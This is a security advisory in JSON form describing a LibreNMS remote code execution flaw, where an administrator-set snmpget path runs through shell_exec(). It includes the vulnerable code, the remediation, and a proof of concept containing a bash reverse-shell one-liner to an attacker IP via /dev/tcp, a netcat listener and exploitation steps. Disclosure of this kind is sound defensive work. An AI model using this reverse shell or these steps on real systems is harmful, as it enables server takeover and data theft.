GHSA-jf24-8g2h-2wg7: Librenms/librenms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jf24-8g2h-2wg7",
  "modified" : "2026-08-18T21:17:11Z",
  "published" : "2026-08-18T21:17:11Z",
  "aliases" : [ ],
  "summary" : "LibreNMS Vulnerable to Remote Code Execution via AboutController",
  "details" : "# Remote Code Execution via AboutController in LibreNMS\n\n## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.\n\n**Severity:** High (CVSS 7.2)\n**Attack Vector:** Network\n**Privileges Required:** High (Administrator)\n**User Interaction:** None\n**Impact:** Complete system compromise with web server privileges\n\n---\n\n## Details\n\n### Vulnerable Code\n\n**File:** `app/Http/Controllers/AboutController.php`\n**Line:** 85\n\n```php\n'version_netsnmp' => str_replace('version: ', '', \n    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),\n```\n\n### Root Cause\n\nThe AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `\"`, `>`, `<`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.\n\n### Configuration Access\n\nThe `snmpget` configuration can be modified through the web interface:\n\n- **Endpoint:** `PUT /settings/snmpget`\n- **Controller:** `SettingsController::update()`\n- **Required Privileges:** Administrator\n- **Config Definition:** `resources/definitions/config_definitions.json`\n\n```json\n\"snmpget\": {\n    \"default\": \"/usr/bin/snmpget\",\n    \"type\": \"executable\"\n}\n```\n\n### Validation Analysis\n\nThe `sanitizePath()` function in `DynamicConfigItem.php`:\n\n```php\n// LibreNMS/Util/DynamicConfigItem.php:277-284\nprivate function sanitizePath(string $path): string|false\n{\n    if (preg_match('/[`;#$|&\\'\"><(]/', $path)) {\n        return false;\n    }\n    return realpath($path);\n}\n\n// LibreNMS/Util/DynamicConfigItem.php:107-110\n} elseif ($this->type === 'executable') {\n    $value == $this->sanitizePath($value);\n    return $value !== false && is_file($value) && is_executable($value);\n}\n```\n### Attack Scenarios\n\n| Scenario | Description |\n|----------|-------------|\n| **Insider Threat** | Internal admin creates malicious file → updates config → RCE |\n| **Privilege Escalation** | Attacker with limited access → creates file → full RCE |\n| **Supply Chain** | Malicious package installs binary → admin uses it → RCE |\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Valid administrator credentials for LibreNMS web interface\n- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)\n\n### Proof of Concept - Reverse Shell\n\n#### Step 1: Create Malicious Executable\n\nCreate a reverse shell payload that connects back to the attacker:\n\n```bash\nATTACKER_IP=\"172.16.69.144\"\nATTACKER_PORT=9001\n\nbash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null\n```\n\nSave this as `/tmp/rev_shell.sh` and make it executable:\n```bash\nchmod +x /tmp/rev_shell.sh\n```\n\n#### Step 2: Setup Netcat Listener\n\nOn your attacking machine, start a netcat listener:\n\n```bash\nnc -lvnp 9001\n```\n\n#### Step 3: Update Configuration via Web Interface\n\nLogin to LibreNMS web interface as administrator and navigate to:\n- **Settings** → **External** → **Binaries**\n- Locate **snmpget** configuration\n- Update the value to: `/tmp/rev_shell.sh`\n- Click **Save**\n\n<img width=\"1919\" height=\"848\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3\" />\n\n#### Step 4: Trigger RCE\n\nAccess the `/about` endpoint to execute the malicious binary:\n\n<img width=\"1861\" height=\"957\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b\" />\n\n---\n\n## Impact Summary\n\n| Category | Level | Description |\n|----------|-------|-------------|\n| **Confidentiality** | HIGH | Read config files, database credentials, SSH keys |\n| **Integrity** | HIGH | Create webshells, backdoors, modify code |\n| **Availability** | HIGH | Disrupt services, delete data, stop monitoring |\n| **Scope** | CHANGED | Compromise extends beyond application to system |\n\n### Who Is Impacted\n- LibreNMS installations where attacker has admin credentials AND file system access\n- Organizations using LibreNMS for network monitoring\n- Systems monitored by LibreNMS (lateral movement risk)\n\n\n---\n\n## Remediation\n\nReplace `shell_exec()` with Symfony Process component:\n\n```php\n// BEFORE (vulnerable):\nshell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')\n\n// AFTER (safe):\n$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);\n$process->run();\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77", "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T21:17:11Z",
    "nvd_published_at" : null
  }
}